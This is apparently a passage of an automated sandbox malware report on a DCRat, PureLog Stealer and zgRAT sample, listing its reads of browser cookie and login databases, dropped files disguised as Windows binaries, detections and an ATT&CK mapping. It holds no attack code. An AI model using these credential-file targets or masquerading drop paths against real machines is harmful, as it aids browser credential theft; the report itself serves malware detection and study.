Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal

Remote Access Functionality

Yara detected DCRat

Source: Yara match	File source: 00000024.00000002.2889594930.0000000003A3E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.2889594930.0000000003662000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1826950535.00000000127A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: hyperServer.exe PID: 7528, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: TextInputHost.exe PID: 7276, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 2.3.DCRatBuild.exe.53566f5.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.DCRatBuild.exe.524d6f5.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.hyperServer.exe.90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.DCRatBuild.exe.524d6f5.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.DCRatBuild.exe.53566f5.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000003.1664295884.0000000005308000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.1726122592.0000000000092000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1663486823.00000000051FF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe, type: DROPPED
Source: Yara match	File source: C:\Recovery\StartMenuExperienceHost.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files\Windows Defender\Offline\cmd.exe, type: DROPPED
Source: Yara match	File source: C:\MsComponentSvc\hyperServer.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: 2.3.DCRatBuild.exe.53566f5.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.DCRatBuild.exe.524d6f5.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.hyperServer.exe.90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.DCRatBuild.exe.524d6f5.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.DCRatBuild.exe.53566f5.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe, type: DROPPED
Source: Yara match	File source: C:\Recovery\StartMenuExperienceHost.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files\Windows Defender\Offline\cmd.exe, type: DROPPED
Source: Yara match	File source: C:\MsComponentSvc\hyperServer.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe, type: DROPPED

Source: C:\Users\user\AppData\Local\Temp\5GG.exe

Code function: 41_2_00007FFDF5252B5D bind,WSAGetLastError,

41_2_00007FFDF5252B5D

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	Valid Accounts	241 Windows Management Instrumentation	11 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Native API	1 DLL Side-Loading	12 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	3 File and Directory Discovery	Remote Desktop Protocol	1 Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Scheduled Task/Job	3 Obfuscated Files or Information	Security Account Manager	157 System Information Discovery	SMB/Windows Admin Shares	1 Clipboard Data	11 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	Login Hook	1 Software Packing	NTDS	451 Security Software Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	261 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	233 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	261 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
1tQ7HC6GOS.exe	68%	ReversingLabs	Win32.Trojan.VBinder
1tQ7HC6GOS.exe	100%	Avira	HEUR/AGEN.1341918
1tQ7HC6GOS.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	100%	Avira	VBS/Runner.VPG
C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	100%	Avira	HEUR/AGEN.1323342
C:\MsComponentSvc\iCCQMR7GwXROBsRyIwP9QWJjFoH56nLwwSlxVmAvIip.vbe	100%	Avira	VBS/Runner.VPG
C:\Recovery\StartMenuExperienceHost.exe	100%	Avira	HEUR/AGEN.1323342
C:\Program Files\Windows Defender\Offline\cmd.exe	100%	Avira	HEUR/AGEN.1323342
C:\Users\user\AppData\Local\Temp\L5wEVj25hO.bat	100%	Avira	BAT/Runner.IL
C:\MsComponentSvc\hyperServer.exe	100%	Avira	HEUR/AGEN.1323342
C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	100%	Avira	HEUR/AGEN.1323342
C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	100%	Joe Sandbox ML
C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	100%	Joe Sandbox ML
C:\Recovery\StartMenuExperienceHost.exe	100%	Joe Sandbox ML
C:\Program Files\Windows Defender\Offline\cmd.exe	100%	Joe Sandbox ML
C:\MsComponentSvc\hyperServer.exe	100%	Joe Sandbox ML
C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	100%	Joe Sandbox ML
C:\MsComponentSvc\hyperServer.exe	88%	ReversingLabs	ByteCode-MSIL.Trojan.Dnoper
C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	88%	ReversingLabs	ByteCode-MSIL.Trojan.Dnoper
C:\Program Files\Windows Defender\Offline\cmd.exe	88%	ReversingLabs	ByteCode-MSIL.Trojan.Dnoper
C:\Recovery\StartMenuExperienceHost.exe	88%	ReversingLabs	ByteCode-MSIL.Trojan.Dnoper
C:\Users\Default\Music\oZTcEkJaieSsRsrMRoYKmeAXH.exe	88%	ReversingLabs	ByteCode-MSIL.Trojan.Dnoper
C:\Users\user\AppData\Local\Temp\5GG.exe	16%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	64%	ReversingLabs	ByteCode-MSIL.Trojan.Uztuby
C:\Users\user\AppData\Local\Temp\_MEI73402\PIL\_imaging.cp310-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\PIL\_imagingcms.cp310-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\PIL\_imagingmath.cp310-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\PIL\_imagingtk.cp310-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\PIL\_webp.cp310-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\VCRUNTIME140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\VCRUNTIME140_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\_asyncio.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\_cffi_backend.cp310-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\_ctypes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\_decimal.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\_lzma.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\_multiprocessing.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\_overlapped.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\_queue.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\_ssl.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\_tkinter.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-console-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-datetime-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-debug-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-errorhandling-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-file-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-file-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-file-l2-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-handle-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-heap-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-interlocked-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-libraryloader-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-localization-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-memory-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-namedpipe-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-processenvironment-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-processthreads-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-processthreads-l1-1-1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-profile-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-rtlsupport-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-string-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-synch-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-synch-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-sysinfo-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-timezone-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-util-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-conio-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-convert-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-environment-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-filesystem-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-heap-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-locale-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-math-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-process-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-runtime-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-stdio-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-string-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-time-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-utility-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\charset_normalizer\md.cp310-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\charset_normalizer\md__mypyc.cp310-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\libcrypto-1_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\libffi-7.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\libssl-1_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\programms\1.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\programms\2.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\programms\3.exe	4%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\programms\4.exe	37%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\programms\5.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\programms\6.exe	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\programms\7.exe	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\programms\8.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\programms\AnyDesk.exe	4%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73402\pyexpat.pyd	0%	ReversingLabs

Source	Detection	Scanner	Label
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	Avira URL Cloud	safe
https://www.onetap.com/login/	0%	Avira URL Cloud	safe
https://exiv2.org/tags.html)	0%	Avira URL Cloud	safe
https://anzeljg.github.io/rin2/book2/2405/docs/tkinter/text.html	0%	Avira URL Cloud	safe
https://lgtm.com/projects/g/samuelhwilliams/Eel/alerts/)	0%	Avira URL Cloud	safe
https://spirthack.me/?redir=me%3F	0%	Avira URL Cloud	safe
https://xone.fun/loginr	0%	Avira URL Cloud	safe
http://localhost:8000/main.html.	0%	Avira URL Cloud	safe
https://en.wikipedi	0%	Avira URL Cloud	safe
https://www.aurora-project.ru/loginr	0%	Avira URL Cloud	safe
https://mahler:8092/site-updates.py	0%	Avira URL Cloud	safe
https://midnight.im/login/	0%	Avira URL Cloud	safe
https://lgtm.com/projects/g/samuelhwilliams/Eel/context:javascript)	0%	Avira URL Cloud	safe
http://crl4.dig	0%	Avira URL Cloud	safe
https://nixware.cc/login/	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn/bThe	0%	Avira URL Cloud	safe
http://crl.com	0%	Avira URL Cloud	safe
https://anzeljg.github.io/rin2/book2/2405/docs/tkinter/fonts.html	0%	Avira URL Cloud	safe
http://cacerts.digice	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	TextInputHost.exe, 00000024.00000002.2913564667.0000000013F05000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014105000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014988000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000013732000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.000000001476A000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014670000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015F7C000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015C59000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000147BC000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015989000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014921000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015533000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000137CB000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000142C5000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000016014000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014565000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000013E35000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000013B48000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014B06000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014636000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000150F9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.python.org/library/itertools.html	5GG.exe, 00000029.00000003.2449581744.000002ACF4341000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	TextInputHost.exe, 00000024.00000002.2913564667.0000000013F05000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014105000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014988000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000013732000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.000000001476A000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014670000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015F7C000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015C59000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000147BC000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015989000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014921000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015533000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000137CB000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000142C5000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000016014000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014565000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000013E35000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000013B48000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014B06000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014636000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000150F9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mail.rambler.ru/folder/INBOXr	5GG.exe, 00000029.00000002.2889231296.000002ACF4561000.00000004.00000020.00020000.00000000.sdmp	false		high
https://anzeljg.github.io/rin2/book2/2405/docs/tkinter/text.html	5GG.exe, 00000029.00000002.2888255978.000002ACF43CB000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2887149226.000002ACF3DF0000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000003.2449581744.000002ACF4341000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://setuptools.pypa.io/en/latest/references/keywords.html#keyword-namespace-packages	5GG.exe, 00000029.00000002.2887626985.000002ACF4010000.00000004.00001000.00020000.00000000.sdmp	false		high
http://docs.python.org/library/unittest.html	5GG.exe, 00000029.00000002.2888255978.000002ACF43CB000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000003.2449581744.000002ACF4341000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers	TextInputHost.exe, 00000024.00000002.3051181409.000000001FCA2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://python.org/dev/peps/pep-0263/	5GG.exe, 00000029.00000002.2902886199.00007FFDF58D3000.00000002.00000001.01000000.00000017.sdmp	false		high
https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#	5GG.exe, 00000029.00000002.2886172976.000002ACF38A0000.00000004.00000020.00020000.00000000.sdmp	false		high
